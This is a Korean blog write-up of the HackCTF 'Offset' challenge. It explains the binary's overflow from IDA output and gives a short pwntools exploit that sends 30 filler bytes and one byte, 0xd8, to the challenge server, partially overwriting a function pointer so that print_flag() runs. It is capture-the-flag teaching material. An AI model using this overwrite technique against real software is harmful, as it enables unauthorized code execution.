ii4gsp
HackCTF - Offset 본문
파일을 다운받아 주자.
IDA로 열어보면 gets()함수로 s에 입력을받고 select_func()함수를 호출한다.
select_func()함수를 보면 v3가 two()함수를 가리키고 있다.
인자 src를 0x1F 즉, 31byte만큼 dest에 복사한다.
그리고 dest의 값이 "one"이라면 v3가 one()함수를 가르키고 v3가 가리키는 함수를 호출한다.
print_flag()함수를 호출하면 flag를 볼 수 있다.
함수의 주소를 보면 two()함수의 주소는 0x000006AD이고 print_flag()함수의 주소는 0x000006D8 이다.
select_func()에서 dest와 v3의 거리는 30이다.
복사하는 크기는 31byte이다.
즉, 30byte dummy를 주고 0xD8을 주면 print_flag() 함수가 실행된다.
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3007)
payload = ''
payload += '\x90' * 30
payload += '\xd8'
r.sendline(payload)
r.interactive()
소스코드를 작성해주자.
'시스템 해킹 > HackCTF' 카테고리의 다른 글
HackCTF - Yes_or_no (0) | 2020.02.10 |
---|---|
HackCTF - BOF_PIE (0) | 2020.02.09 |
HackCTF - Simple_Overflow_ver_2 (0) | 2020.02.09 |
HackCTF - x64 Simple_size_BOF (0) | 2020.02.09 |
HackCTF - x64 Buffer Overflow (0) | 2020.02.09 |
Comments